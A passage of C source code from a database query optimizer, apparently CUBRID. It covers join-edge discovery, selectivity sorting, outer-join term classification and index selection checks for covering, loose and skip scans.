qo_subquery_free (&env->subqueries[i]);
}
free_and_init (env->subqueries);
}
bitset_delset (&(env->final_segs));
bitset_delset (&(env->fake_terms));
bitset_delset (&QO_ENV_SORT_LIMIT_NODES (env));
pr_clear_value (&QO_ENV_LIMIT_VALUE (env));
if (env->planner)
{
qo_planner_free (env->planner);
}
free_and_init (env);
}
}
/*
* qo_exchange () -
* return:
* t0(in):
* t1(in):
*/
static void
qo_exchange (QO_TERM * t0, QO_TERM * t1)
{
/*
* 'env' attribute is the same in both, don't bother with it.
*/
TERMCLASS_EXCHANGE (t0->term_class, t1->term_class);
BISET_EXCHANGE (t0->nodes, t1->nodes);
BISET_EXCHANGE (t0->segments, t1->segments);
DOUBLE_EXCHANGE (t0->selectivity, t1->selectivity);
INT_EXCHANGE (t0->rank, t1->rank);
PT_NODE_EXCHANGE (t0->pt_expr, t1->pt_expr);
INT_EXCHANGE (t0->location, t1->location);
BISET_EXCHANGE (t0->subqueries, t1->subqueries);
JOIN_TYPE_EXCHANGE (t0->join_type, t1->join_type);
INT_EXCHANGE (t0->can_use_index, t1->can_use_index);
SEGMENTPTR_EXCHANGE (t0->index_seg[0], t1->index_seg[0]);
SEGMENTPTR_EXCHANGE (t0->index_seg[1], t1->index_seg[1]);
SEGMENTPTR_EXCHANGE (t0->seg, t1->seg);
SEGMENTPTR_EXCHANGE (t0->oid_seg, t1->oid_seg);
NODEPTR_EXCHANGE (t0->head, t1->head);
NODEPTR_EXCHANGE (t0->tail, t1->tail);
EQCLASSPTR_EXCHANGE (t0->eqclass, t1->eqclass);
SEGMENTPTR_EXCHANGE (t0->nominal_seg, t1->nominal_seg);
FLAG_EXCHANGE (t0->flag, t1->flag);
INT_PTR_EXCHANGE (t0->multi_col_segs, t1->multi_col_segs);
INT_EXCHANGE (t0->multi_col_cnt, t1->multi_col_cnt);
/*
* DON'T exchange the 'idx' values!
*/
}
/*
* qo_discover_edges () -
* return:
* env(in):
*/
static void
qo_discover_edges (QO_ENV * env)
{
int i, j, n;
QO_TERM *term, *edge, *edge2;
QO_NODE *node;
PT_NODE *pt_expr;
int t;
BITSET_ITERATOR iter;
BITSET direct_nodes;
int t1, t2;
QO_TERM *term1, *term2;
bitset_init (&direct_nodes, env);
i = 0;
n = env->nterms;
while (i < n)
{
term = QO_ENV_TERM (env, i);
if (QO_IS_EDGE_TERM (term))
{
env->nedges++;
i++;
}
else
{
if (i < --n)
{
/*
* Exchange the terms at the two boundaries. This moves
* a known non-edge up to just below the section of other
* non-edge terms, and moves a term of unknown "edgeness"
* down to just above the section of known edges. Leave
* the bottom boundary alone, but move the upper boundary
* down one notch.
*/
qo_exchange (QO_ENV_TERM (env, i), QO_ENV_TERM (env, n));
}
}
}
/* sort join-term on selectivity as descending order */
for (t1 = 0; t1 < i - 1; t1++)
{
term1 = QO_ENV_TERM (env, t1);
for (t2 = t1 + 1; t2 < i; t2++)
{
term2 = QO_ENV_TERM (env, t2);
if (QO_TERM_SELECTIVITY (term1) < QO_TERM_SELECTIVITY (term2))
{
qo_exchange (term1, term2);
}
}
}
/* sort sarg-term on selectivity as descending order */
for (t1 = i; t1 < env->nterms - 1; t1++)
{
term1 = QO_ENV_TERM (env, t1);
for (t2 = t1 + 1; t2 < env->nterms; t2++)
{
term2 = QO_ENV_TERM (env, t2);
if (QO_TERM_SELECTIVITY (term1) < QO_TERM_SELECTIVITY (term2))
{
qo_exchange (term1, term2);
}
}
}
for (n = env->nterms; i < n; i++)
{
term = QO_ENV_TERM (env, i);
if (QO_TERM_CLASS (term) == QO_TC_SARG)
{
QO_ASSERT (env, bitset_cardinality (&(QO_TERM_NODES (term))) == 1);
qo_node_add_sarg (QO_ENV_NODE (env, bitset_first_member (&(QO_TERM_NODES (term)))), term);
}
}
/*
* Check some invariants. If something has gone wrong during the
* discovery phase to violate these invariants, it will mean certain
* death for later phases, so we need to discover it now while it's
* convenient.
*/
for (i = 0, n = env->nedges; i < n; i++)
{
edge = QO_ENV_TERM (env, i);
QO_ASSERT (env, QO_TERM_HEAD (edge) != NULL);
QO_ASSERT (env, QO_TERM_TAIL (edge) != NULL);
if (QO_TERM_JOIN_TYPE (edge) != JOIN_INNER && QO_TERM_CLASS (edge) != QO_TC_JOIN)
{
for (j = 0; j < n; j++)
{
edge2 = QO_ENV_TERM (env, j);
if (i != j && bitset_is_equivalent (&(QO_TERM_NODES (edge)), &(QO_TERM_NODES (edge2))))
{
QO_TERM_JOIN_TYPE (edge2) = QO_TERM_JOIN_TYPE (edge);
}
}
}
pt_expr = QO_TERM_PT_EXPR (edge);
/* check for always true transitive join term */
if (pt_expr && PT_EXPR_INFO_IS_FLAGED (pt_expr, PT_EXPR_INFO_TRANSITIVE))
{
BITSET_CLEAR (direct_nodes);
for (j = 0; j < n; j++)
{
edge2 = QO_ENV_TERM (env, j);
if (bitset_intersects (&(QO_TERM_NODES (edge2)), &(QO_TERM_NODES (edge))))
{
bitset_union (&direct_nodes, &(QO_TERM_NODES (edge2)));
}
} /* for (j = 0; ...) */
/* check for direct connected nodes */
for (t = bitset_iterate (&direct_nodes, &iter); t != -1; t = bitset_next_member (&iter))
{
node = QO_ENV_NODE (env, t);
if (!QO_NODE_SARGABLE (node))
{
break; /* give up */
}
}
/* found dummy join edge. it is used for planning only */
if (t == -1)
{
QO_TERM_CLASS (edge) = QO_TC_DUMMY_JOIN;
/* keep out from m-join edge */
QO_TERM_CLEAR_FLAG (edge, QO_TERM_MERGEABLE_EDGE);
}
}
}
bitset_delset (&direct_nodes);
}
/*
* qo_classify_outerjoin_terms () -
* return:
* env(in):
*
* Note:
* Term Classify Matrix
* --+-----+---------------------+----------+---------------+------------------
* NO|Major|Minor |nidx_self |dep_set | Classify
* --+-----+---------------------+----------+---------------+------------------
* O1|ON |TC_sarg(on_conn) |!Right |!Outer(ex R_on)|TC_sarg(ow TC_dj)
* O2|ON |TC_join |term_tail=|=on_node |TC_join(ow O3)
* O3|ON |TC_other(n>0,on_conn)|- |!Outer(ex R_on)|TC_dj
* O4|ON |TC_other(n==0) |- |- |TC_dj
* W1|WHERE|TC_sarg |!Left |!Right |TC_sarg(ow TC_aj)
* W2|WHERE|TC_join |!Outer |!Right |TC_join(ow TC_aj)
* W3|WHERE|TC_other(n>0) |!Outer |!Right |TC_other(ow TC_aj)
* W4|WHERE|TC_other(n==0) |- |- |TC_aj
* --+-----+---------------------+----------+---------------+------------------
*/
static void
qo_classify_outerjoin_terms (QO_ENV * env)
{
bool is_null_padded, is_outerjoin_for_or_pred;
int n, i, t;
BITSET_ITERATOR iter;
QO_NODE *node, *on_node;
QO_TERM *term;
int nidx_self; /* node index of term */
BITSET dep_set, prev_dep_set;
for (i = 0; i < env->nterms; i++)
{
term = QO_ENV_TERM (env, i);
QO_ASSERT (env, QO_TERM_LOCATION (term) >= 0);
if (QO_OUTER_JOIN_TERM (term))
{
break;
}
}
if (i >= env->nterms)
{
return; /* not found outer join term; do nothing */
}
bitset_init (&dep_set, env);
bitset_init (&prev_dep_set, env);
for (i = 0; i < env->nterms; i++)
{
term = QO_ENV_TERM (env, i);
QO_ASSERT (env, QO_TERM_LOCATION (term) >= 0);
on_node = QO_ENV_NODE (env, QO_TERM_LOCATION (term));
QO_ASSERT (env, on_node != NULL);
if (QO_ON_COND_TERM (term))
{
QO_ASSERT (env, QO_NODE_IDX (on_node) > 0);
QO_ASSERT (env, QO_NODE_LOCATION (on_node) > 0);
QO_ASSERT (env, QO_NODE_PT_JOIN_TYPE (on_node) != PT_JOIN_NONE);
/* is explicit join ON cond */
QO_ASSERT (env, QO_TERM_LOCATION (term) == QO_NODE_LOCATION (on_node));
if (QO_NODE_PT_JOIN_TYPE (on_node) == PT_JOIN_INNER)
{
continue; /* is inner join; no need to classify */
}
/* is explicit outer-joined ON cond */
QO_ASSERT (env, QO_NODE_IS_OUTER_JOIN (on_node));
}
else
{
QO_ASSERT (env, QO_NODE_IDX (on_node) == 0);
QO_ASSERT (env, QO_NODE_LOCATION (on_node) == 0);
QO_ASSERT (env, QO_NODE_PT_JOIN_TYPE (on_node) == PT_JOIN_NONE);
}
nidx_self = -1; /* init */
is_outerjoin_for_or_pred = false;
for (t = bitset_iterate (&(QO_TERM_NODES (term)), &iter); t != -1; t = bitset_next_member (&iter))
{
node = QO_ENV_NODE (env, t);
nidx_self = MAX (nidx_self, QO_NODE_IDX (node));
if (QO_TERM_IS_FLAGED (term, QO_TERM_OR_PRED) && QO_NODE_IS_OUTER_JOIN (node))
{
is_outerjoin_for_or_pred = true; /* for OR predicate */
}
}
QO_ASSERT (env, nidx_self < env->nnodes);
/* nidx_self is -1 iff term nodes is empty */
/* STEP 1: check nidx_self */
if (QO_TERM_CLASS (term) == QO_TC_SARG)
{
QO_ASSERT (env, nidx_self >= 0);
node = QO_ENV_NODE (env, nidx_self);
if (QO_ON_COND_TERM (term))
{
if (QO_NODE_PT_JOIN_TYPE (node) == PT_JOIN_RIGHT_OUTER
|| QO_NODE_PT_JOIN_TYPE (node) == PT_JOIN_FULL_OUTER)
{
QO_TERM_CLASS (term) = QO_TC_DURING_JOIN;
}
}
else
{
if (QO_NODE_PT_JOIN_TYPE (node) == PT_JOIN_LEFT_OUTER
|| QO_NODE_PT_JOIN_TYPE (node) == PT_JOIN_FULL_OUTER)
{
QO_TERM_CLASS (term) = QO_TC_AFTER_JOIN;
}
}
}
else if (QO_TERM_CLASS (term) == QO_TC_JOIN)
{
QO_ASSERT (env, nidx_self >= 0);
node = QO_ENV_NODE (env, nidx_self);
if (QO_ON_COND_TERM (term))
{
/* is already checked at qo_analyze_term () */
QO_ASSERT (env, QO_NODE_IDX (QO_TERM_TAIL (term)) == QO_NODE_IDX (on_node));
QO_ASSERT (env, QO_NODE_IDX (QO_TERM_HEAD (term)) < QO_NODE_IDX (QO_TERM_TAIL (term)));
}
else
{
if (QO_NODE_IS_OUTER_JOIN (node) || is_outerjoin_for_or_pred)
{
QO_TERM_CLASS (term) = QO_TC_AFTER_JOIN;
QO_TERM_JOIN_TYPE (term) = NO_JOIN;
/* keep out from m-join edge */
QO_TERM_CLEAR_FLAG (term, QO_TERM_MERGEABLE_EDGE);
}
}
}
else if (QO_TERM_CLASS (term) == QO_TC_OTHER)
{
if (nidx_self >= 0)
{
node = QO_ENV_NODE (env, nidx_self);
if (QO_NODE_IS_OUTER_JOIN (node) || is_outerjoin_for_or_pred)
{
if (QO_ON_COND_TERM (term))
{
QO_TERM_CLASS (term) = QO_TC_DURING_JOIN;
}
else
{
QO_TERM_CLASS (term) = QO_TC_AFTER_JOIN;
}
}
}
else
{
if (QO_ON_COND_TERM (term))
{
QO_TERM_CLASS (term) = QO_TC_DURING_JOIN;
}
else
{
QO_TERM_CLASS (term) = QO_TC_AFTER_JOIN;
}
}
}
if (!
(QO_TERM_CLASS (term) == QO_TC_SARG || QO_TERM_CLASS (term) == QO_TC_JOIN
|| QO_TERM_CLASS (term) == QO_TC_OTHER))
{
continue; /* no need to classify */
}
/* traverse outer-dep nodeset */
QO_ASSERT (env, nidx_self >= 0);
is_null_padded = false; /* init */
BITSET_CLEAR (dep_set);
bitset_add (&dep_set, nidx_self);
do
{
bitset_assign (&prev_dep_set, &dep_set);
for (n = 0; n < env->nnodes; n++)
{
node = QO_ENV_NODE (env, n);
if (bitset_intersects (&dep_set, &(QO_NODE_OUTER_DEP_SET (node))))
{
bitset_add (&dep_set, QO_NODE_IDX (node));
}
}
}
while (!bitset_is_equivalent (&prev_dep_set, &dep_set));
/* STEP 2: check iff term nodes are connected with ON cond */
if (QO_ON_COND_TERM (term))
{
if (!BITSET_MEMBER (dep_set, QO_NODE_IDX (on_node)))
{
is_null_padded = true;
}
}
/* STEP 3: check outer-dep nodeset join type */
bitset_remove (&dep_set, nidx_self); /* remove me */
if (QO_ON_COND_TERM (term))
{
QO_ASSERT (env, QO_TERM_LOCATION (term) == QO_NODE_LOCATION (on_node));
if (QO_NODE_PT_JOIN_TYPE (on_node) == PT_JOIN_RIGHT_OUTER)
{
bitset_remove (&dep_set, QO_NODE_IDX (on_node)); /* remove ON */
}
}
for (t = bitset_iterate (&dep_set, &iter); t != -1 && !is_null_padded; t = bitset_next_member (&iter))
{
node = QO_ENV_NODE (env, t);
if (QO_ON_COND_TERM (term))
{
if (QO_NODE_LOCATION (node) > QO_NODE_LOCATION (on_node))
{
continue; /* out of ON cond scope */
}
if (QO_NODE_PT_JOIN_TYPE (node) == PT_JOIN_LEFT_OUTER)
{
is_null_padded = true;
}
}
if (QO_NODE_PT_JOIN_TYPE (node) == PT_JOIN_RIGHT_OUTER || QO_NODE_PT_JOIN_TYPE (node) == PT_JOIN_FULL_OUTER)
{
is_null_padded = true;
}
}
if (!is_null_padded)
{
continue; /* go ahead */
}
/* at here, found non-sargable node in outer-dep nodeset */
if (QO_ON_COND_TERM (term))
{
QO_TERM_CLASS (term) = QO_TC_DURING_JOIN;
}
else
{
QO_TERM_CLASS (term) = QO_TC_AFTER_JOIN;
}
if (QO_TERM_CLASS (term) != QO_TC_JOIN)
{
QO_TERM_JOIN_TYPE (term) = NO_JOIN;
/* keep out from m-join edge */
QO_TERM_CLEAR_FLAG (term, QO_TERM_MERGEABLE_EDGE);
}
} /* for (i = 0; ...) */
bitset_delset (&prev_dep_set);
bitset_delset (&dep_set);
}
/*
* qo_find_index_terms () - Find the terms which contain the passed segments
* and terms which contain just the passed segments
* return:
* env(in): The environment used
* segsp(in): Passed BITSET of interested segments
* index_entry(in):
*/
static void
qo_find_index_terms (QO_ENV * env, BITSET * segsp, QO_INDEX_ENTRY * index_entry)
{
int t;
QO_TERM *qo_termp;
assert (index_entry != NULL);
BITSET_CLEAR (index_entry->terms);
/* traverse all terms */
for (t = 0; t < env->nterms; t++)
{
/* get the pointer to QO_TERM structure */
qo_termp = QO_ENV_TERM (env, t);
/* Fake terms (e.g., dependency links) won't have pt_expr's associated with them. They can't be implemented as
* indexed sargs, either, so don't worry about them here.
*/
if (!QO_TERM_PT_EXPR (qo_termp))
{
continue;
}
/* 'qo_analyze_term()' function verifies that all indexable terms are expression so that they have 'pt_expr'
* field of type PT_EXPR. */
/* if the segments that give rise to the term are in the given segment set */
if (bitset_intersects (&(QO_TERM_SEGS (qo_termp)), segsp))
{
/* collect this term */
bitset_add (&(index_entry->terms), t);
}
} /* for (t = 0; t < env->nterms; t++) */
/* add index segs */
bitset_union (&(index_entry->index_segs), segsp);
}
/*
* qo_find_index_seg_terms () - Find the terms which contain the passed segment.
* Only indexable and SARG terms are included
* return:
* env(in): The environment used
* index_entry(in/out): Index entry
* idx(in): Passed idx of an interested segment
*/
static void
qo_find_index_seg_terms (QO_ENV * env, QO_INDEX_ENTRY * index_entry, int idx, BITSET * index_segsp)
{
int t;
QO_TERM *qo_termp;
BITSET_ITERATOR iter;
/* traverse all terms */
for (t = 0; t < env->nterms; t++)
{
/* get the pointer to QO_TERM structure */
qo_termp = QO_ENV_TERM (env, t);
/* ignore this term if it is not marked as indexable by 'qo_analyze_term()' */
if (!qo_termp->can_use_index)
{
continue;
}
/* Fake terms (e.g., dependency links) won't have pt_expr's associated with them. They can't be implemented as
* indexed sargs, either, so don't worry about them here.
*/
if (!QO_TERM_PT_EXPR (qo_termp))
{
continue;
}
/* 'qo_analyze_term()' function verifies that all indexable terms are expression so that they have 'pt_expr'
* field of type PT_EXPR.
*/
/* if the term is sarg and the given segment is involed in the expression that gives rise to the term */
if (QO_TERM_CLASS (qo_termp) == QO_TC_SARG && BITSET_MEMBER (QO_TERM_SEGS (qo_termp), index_entry->seg_idxs[idx]))
{
/* check for range list term; RANGE (r1, r2, ...) */
if (QO_TERM_IS_FLAGED (qo_termp, QO_TERM_RANGELIST))
{
if (index_entry->rangelist_seg_idx != -1 && QO_TERM_IDX (qo_termp) != index_entry->rangelist_term_idx)
{
/* (a,b) range (={..},..) if a is rangelist_seg_idx then b can scan using index */
continue; /* already found. give up */
}
/* is the first time */
index_entry->rangelist_seg_idx = idx;
index_entry->rangelist_term_idx = QO_TERM_IDX (qo_termp);
}
/* collect this term */
if (QO_TERM_IS_FLAGED (qo_termp, QO_TERM_EQUAL_OP))
{
bitset_add (&(index_entry->seg_equal_terms[idx]), t);
}
else
{
bitset_add (&(index_entry->seg_other_terms[idx]), t);
}
}
} /* for (t = 0; ... */
}
/*
* is_equivalent_indexes () - Compare the two index entries
* return: True/False
* index1(in): First index entry
* index2(in): Second index entry
*
* Note: Return true if they are equivalent
* and false otherwise. In order to be equivalent, the index entries
* must contain the same segments specified in the same order
*/
static int
is_equivalent_indexes (QO_INDEX_ENTRY * index1, QO_INDEX_ENTRY * index2)
{
int i, equivalent;
/*
* If the number of segments is different, then the indexes can't
* be equivalent (cheap test).
*/
if (index1->nsegs != index2->nsegs)
{
return false;
}
/*
* Now compare the two indexes element by element
*/
equivalent = true;
for (i = 0; i < index1->nsegs; i++)
{
if ((index1->seg_idxs[i]) != (index2->seg_idxs[i]))
{
equivalent = false;
break;
}
}
return equivalent;
}
/*
* qo_find_matching_index () -
* return: int (index of matching index entry, or -1)
* index_entry(in): Index entry to match
* class_indexes(in): Array of index entries to search
*
* Note:
* Given a index entry, search the index array looking for a match.
* The array index of the matching entry is returned (if found).
* A -1 is returned if a matching entry is not found.
*
* Indexes which are already a part of a heirarchical compatible index
* list are not considered (these are identifialbe since their next
* pointer is non-NULL).
*/
static int
qo_find_matching_index (QO_INDEX_ENTRY * index_entry, QO_INDEX * class_indexes)
{
int i;
for (i = 0; i < class_indexes->n; i++)
{
/*
* A matching index is found if the index node is not already a member
* of a heirarchical compatible index list (i.e. next pointer is NULL)
* and if it matches the passes <index_entry>.
*/
if (QO_INDEX_INDEX (class_indexes, i)->next == NULL
&& is_equivalent_indexes (index_entry, QO_INDEX_INDEX (class_indexes, i)))
{
break;
}
}
/*
* If a match is found, return its index, otherwise return -1
*/
if (i < class_indexes->n)
{
return i;
}
else
{
return -1;
}
}
/*
* is_index_compatible () -
* return: int (True/False)
* class_info(in): Class info structure
* n(in): Index into class info structure. This determines the level
* in the class hierarchy that we're currently concerned with
* index_entry(in): Index entry to match against
*
* Note:
* This is a recursive function which is used to verify that a
* given index entry is compatible across the class hierarchy.
* An index entry is compatible if there exists an index definition
* on the same sequence of attributes at each level in the class
* hierarchy. If the index entry is compatible, the entry will be
* marked as such throughout the hierarchy.
*/
static QO_INDEX_ENTRY *
is_index_compatible (QO_CLASS_INFO * class_info, int n, QO_INDEX_ENTRY * index_entry)
{
QO_CLASS_INFO_ENTRY *class_entry;
QO_INDEX *class_indexes;
QO_INDEX_ENTRY *index;
int i;
if (n >= class_info->n)
{
return NULL;
}
class_entry = &(class_info->info[n]);
class_indexes = class_entry->index;
i = qo_find_matching_index (index_entry, class_indexes);
if (i < 0)
{
return NULL;
}
index = QO_INDEX_INDEX (class_indexes, i);
if (n == (class_info->n - 1))
{
index->next = NULL;
return index;
}
else
{
index->next = is_index_compatible (class_info, n + 1, index);
if (index->next == NULL)
{
return NULL;
}
else
{
return index;
}
}
/* return NULL;*/
}
/*
* qo_find_index_segs () -
* return:
* env(in):
* consp(in):
* nodep(in):
* seg_idx(in):
* seg_idx_num(in):
* nseg_idxp(in):
* segs(in):
*/
static bool
qo_find_index_segs (QO_ENV * env, SM_CLASS_CONSTRAINT * consp, QO_NODE * nodep, int *seg_idx, int seg_idx_num,
int *nseg_idxp, BITSET * segs)
{
QO_SEGMENT *segp;
SM_ATTRIBUTE *attrp;
BITSET working;
BITSET_ITERATOR iter;
int i, iseg;
bool matched;
int count_matched_index_attributes = 0;
/* working set; indexed segments */
bitset_init (&working, env);
bitset_assign (&working, &(QO_NODE_SEGS (nodep)));
/* for each attribute of this constraint */
for (i = 0; *nseg_idxp < seg_idx_num; i++)
{
if (consp->func_index_info && i == consp->func_index_info->col_id)
{
matched = false;
for (iseg = bitset_iterate (&working, &iter); iseg != -1; iseg = bitset_next_member (&iter))
{
segp = QO_ENV_SEG (env, iseg);
if (QO_SEG_FUNC_INDEX (segp) == true
&& !intl_identifier_casecmp (QO_SEG_NAME (segp), consp->func_index_info->expr_str))
{
bitset_add (segs, iseg); /* add the segment to the index segment set */
bitset_remove (&working, iseg); /* remove the segment from the working set */
seg_idx[*nseg_idxp] = iseg; /* remember the order of the index segments */
(*nseg_idxp)++; /* number of index segments, 'seg_idx[]' */
/* If we're handling with a multi-column index, then only equality expressions are allowed except for
* the last matching segment.
*/
bitset_delset (&working);
matched = true;
count_matched_index_attributes++;
break;
}
}
if (!matched)
{
seg_idx[*nseg_idxp] = -1; /* not found matched segment */
(*nseg_idxp)++; /* number of index segments, 'seg_idx[]' */
} /* if (!matched) */
}
if (*nseg_idxp == seg_idx_num)
{
break;
}
attrp = consp->attributes[i];
matched = false;
/* for each indexed segments of this node, compare the name of the segment with the one of the attribute */
for (iseg = bitset_iterate (&working, &iter); iseg != -1; iseg = bitset_next_member (&iter))
{
segp = QO_ENV_SEG (env, iseg);
if (!intl_identifier_casecmp (QO_SEG_NAME (segp), attrp->header.name))
{
bitset_add (segs, iseg); /* add the segment to the index segment set */
bitset_remove (&working, iseg); /* remove the segment from the working set */
seg_idx[*nseg_idxp] = iseg; /* remember the order of the index segments */
(*nseg_idxp)++; /* number of index segments, 'seg_idx[]' */
/* If we're handling with a multi-column index, then only equality expressions are allowed except for the
* last matching segment.
*/
matched = true;
count_matched_index_attributes++;
break;
} /* if (!intl_identifier_casecmp...) */
} /* for (iseg = bitset_iterate(&working, &iter); ...) */
if (!matched)
{
seg_idx[*nseg_idxp] = -1; /* not found matched segment */
(*nseg_idxp)++; /* number of index segments, 'seg_idx[]' */
} /* if (!matched) */
} /* for (i = 0; consp->attributes[i]; i++) */
bitset_delset (&working);
return count_matched_index_attributes > 0;
/* this index is feasible to use if at least one attribute of index is specified(matched) */
}
/*
* qo_is_coverage_index () - check if the index cover all query segments
* return: bool
* env(in): The environment
* nodep(in): The node
* index_entry(in): The index entry
*/
static bool
qo_is_coverage_index (QO_ENV * env, QO_NODE * nodep, QO_INDEX_ENTRY * index_entry)
{
int i, j, seg_idx;
QO_SEGMENT *seg;
bool found;
QO_CLASS_INFO *class_infop = NULL;
QO_NODE *seg_nodep = NULL;
QO_TERM *qo_termp;
PT_NODE *pt_node;
if (env == NULL || nodep == NULL || index_entry == NULL)
{
return false;
}
/*
* If NO_COVERING_IDX hint is given, we do not generate a plan for
* covering index scan.
*/
QO_ASSERT (env, QO_ENV_PT_TREE (env)->node_type == PT_SELECT);
if (QO_ENV_PT_TREE (env)->node_type == PT_SELECT
&& (QO_ENV_PT_TREE (env)->info.query.q.select.hint & PT_HINT_NO_COVERING_IDX))
{
return false;
}
for (i = 0; i < index_entry->nsegs; i++)
{
seg_idx = (index_entry->seg_idxs[i]);
if (seg_idx == -1)
{
continue;
}
/* We do not use covering index if there is a path expression */
seg = QO_ENV_SEG (env, seg_idx);
pt_node = QO_SEG_PT_NODE (seg);
if (pt_node->node_type == PT_DOT_ || (pt_node->node_type == PT_NAME && pt_node->info.name.resolved == NULL))
{
return false;
}
}
for (i = 0; i < env->nsegs; i++)
{
seg = QO_ENV_SEG (env, i);
if (seg == NULL)
{
continue;
}
if (QO_SEG_IS_OID_SEG (seg))
{
found = false;
for (j = 0; j < env->nterms; j++)
{
qo_termp = QO_ENV_TERM (env, j);
if (BITSET_MEMBER (QO_TERM_SEGS (qo_termp), i))
{
found = true;
break;
}
}
if (found == false)
{
continue;
}
}
/* the segment should belong to the given node */
seg_nodep = QO_SEG_HEAD (seg);
if (seg_nodep == NULL || seg_nodep != nodep)
{
continue;
}
class_infop = QO_NODE_INFO (seg_nodep);
if (class_infop == NULL || !(class_infop->info[0].normal_class))
{
return false;
}
QO_ASSERT (env, class_infop->n > 0);
found = false;
for (j = 0; j < class_infop->n; j++)
{
if (class_infop->info[j].mop == index_entry->class_->mop)
{
found = true;
break;
}
}
if (!found)
{
continue;
}
found = false;
for (j = 0; j < index_entry->col_num; j++)
{
if (index_entry->seg_idxs[j] == QO_SEG_IDX (seg))
{
/* if the segment created in respect to the function index info is covered, we do not use index covering */
if (QO_SEG_FUNC_INDEX (seg))
{
return false;
}
found = true;
break;
}
}
if (!found)
{
return false;
}
}
return true;
}
/*
* qo_get_ils_prefix_length () - get prefix length of loose scan
* returns: prefix length or -1 if loose scan not possible
* env(in): environment
* nodep(in): graph node
* index_entry(in): index structure
*/
static int
qo_get_ils_prefix_length (QO_ENV * env, QO_NODE * nodep, QO_INDEX_ENTRY * index_entry)
{
PT_NODE *tree;
int prefix_len = 0, i;
/* check for nulls */
if (env == NULL || nodep == NULL || index_entry == NULL)
{
return 0;
}
/* loose scan has no point on single column index */
if (!QO_ENTRY_MULTI_COL (index_entry))
{
return 0;
}
assert (index_entry->nsegs > 1);
tree = env->pt_tree;
QO_ASSERT (env, tree != NULL);
if (tree->node_type != PT_SELECT)
{
return 0; /* not applicable */
}
/* check hint */
if (tree->info.query.q.select.hint & PT_HINT_NO_INDEX_LS)
{
return 0; /* disable loose index scan */
}
else if ((tree->info.query.q.select.hint & PT_HINT_INDEX_LS) && (QO_NODE_HINT (nodep) & PT_HINT_INDEX_LS))
{ /* enable loose index scan */
if (tree->info.query.q.select.hint & PT_HINT_NO_INDEX_SS || !(tree->info.query.q.select.hint & PT_HINT_INDEX_SS)
|| !(QO_NODE_HINT (nodep) & PT_HINT_INDEX_SS))
{ /* skip scan is disabled */
; /* go ahead */
}
else
{ /* skip scan is enabled */
return 0;
}
}
else
{
return 0; /* no hint */
}
if (PT_SELECT_INFO_IS_FLAGED (tree, PT_SELECT_INFO_DISABLE_LOOSE_SCAN))
{
return 0; /* not applicable */
}
if (index_entry->cover_segments
&& (tree->info.query.all_distinct == PT_DISTINCT || PT_SELECT_INFO_IS_FLAGED (tree, PT_SELECT_INFO_HAS_AGG)))
{
/* this is a select, index is covering all segments and it's either a DISTINCT query or GROUP BY query with
* DISTINCT functions
*/
/* see if only a prefix of the index is used */
for (i = index_entry->nsegs - 1; i >= 0; i--)
{
if (index_entry->seg_idxs[i] != -1)
{
prefix_len = i + 1;
break;
}
}
}
else
{
/* not applicable */
return 0;
}
/* no need to continue if no prefix detected */
if (prefix_len == -1 || prefix_len == index_entry->col_num)
{
return 0;
}
if (!pt_is_single_tuple (env->parser, env->pt_tree))
{
/* if not a single tuple query, then we either have a GROUP BY clause or we don't have any kind of aggregation;
* in these cases, pure NULL keys qualify iff no terms are used
*/
if (bitset_cardinality (&index_entry->terms) <= 0)
{
/* no terms specified, so NULL keys can't be skipped; disable ILS */
return 0;
}
}
/* all done */
return prefix_len;
}
/*
* qo_is_iss_index () - check if we can use the Index Skip Scan optimization
* return: bool
* env(in): The environment
* nodep(in): The node
* index_entry(in): The index entry
*
* Notes: The Index Skip Scan optimization applies when there is no term
* involving the first index column, but there are other terms that
* refer to the second, third etc columns, and the first column has
* few distinct values: in this case, multiple index scans (one for
* each value of the first column) can be faster than an index scan.
*/
static bool
qo_is_iss_index (QO_ENV * env, QO_NODE * nodep, QO_INDEX_ENTRY * index_entry)
{
int i;
PT_NODE *tree;
bool first_col_present = false, second_col_present = false;
if (env == NULL || nodep == NULL || index_entry == NULL)
{
return false;
}
/* Index skip scan (ISS) candidates: - have no range or key filter terms for the first column of the index; - DO have
* range or key filter terms for at least the second column of the index (maybe even for further columns, but we are
* only interested in the second column right now); - obviously are multi-column indexes - not a filter index - not
* with HQ
*/
/* ISS has no meaning on single column indexes */
if (!QO_ENTRY_MULTI_COL (index_entry))
{
return false;
}
assert (index_entry->nsegs > 1);
tree = env->pt_tree;
QO_ASSERT (env, tree != NULL);
if (tree->node_type != PT_SELECT)
{
return false;
}
/* CONNECT BY messes with the terms, so just refuse any index skip scan in this case */
if (tree->info.query.q.select.connect_by)
{
return false;
}
/* check hint */
if (tree->info.query.q.select.hint & PT_HINT_NO_INDEX_SS || !(tree->info.query.q.select.hint & PT_HINT_INDEX_SS)
|| !(QO_NODE_HINT (nodep) & PT_HINT_INDEX_SS))
{
return false;
}
assert (index_entry->constraints != NULL);
/* do not allow filter ISS with filter index */
if (index_entry->constraints->filter_predicate != NULL)
{
return false;
}
/* do not allow filter ISS with function index */
for (i = 0; i < index_entry->nsegs; i++)
{
if ((index_entry->seg_idxs[i] != -1) && (QO_SEG_FUNC_INDEX (QO_ENV_SEG (env, index_entry->seg_idxs[i]))))
{
return false;
}
}
/* First segment index should be missing */
first_col_present = false;
if (index_entry->seg_idxs[0] != -1)
{
/* it's not enough to have a reference to a segment in seg_idxs[], we must make sure there is an indexable term
* that uses it: this means either an equal term, or an "other" term that is real (i.e. it is not a full range
* scan term "invented" by pt_check_orderby to help with generating index covering.
*/
if (bitset_cardinality (&(index_entry->seg_equal_terms[0])) > 0
|| bitset_cardinality (&(index_entry->seg_other_terms[0])) > 0)
{
first_col_present = true;
}
}
if (first_col_present)
{
return false;
}
second_col_present = false;
if (index_entry->seg_idxs[1] != -1)
{
/* it's not enough to have a reference to a segment in seg_idxs[], we must make sure there is an indexable term
* that uses it: this means either an equal term, or an "other" term that is real (i.e. it is not a full range
* scan term "invented" by pt_check_orderby to help with generating index covering.
*/
if (bitset_cardinality (&(index_entry->seg_equal_terms[1])) > 0
|| bitset_cardinality (&(index_entry->seg_other_terms[1])) > 0)
{
second_col_present = true;
}
}
if (!second_col_present)
{
return false;
}
/* The first col is missing, and the second col is present and has terms that can be used in a range search. Go ahead
* and approve the index as a candidate for index skip scanning. We still have a long way ahead of us (use statistics
* to decide whether index skip scan is the best approach) but we've made the first step.
*/
return true;
}
static bool
qo_is_usable_index (SM_CLASS_CONSTRAINT * constraint, QO_NODE * nodep)
{
if (!SM_IS_CONSTRAINT_INDEX_FAMILY (constraint->type))
{
// not an index
return false;
}
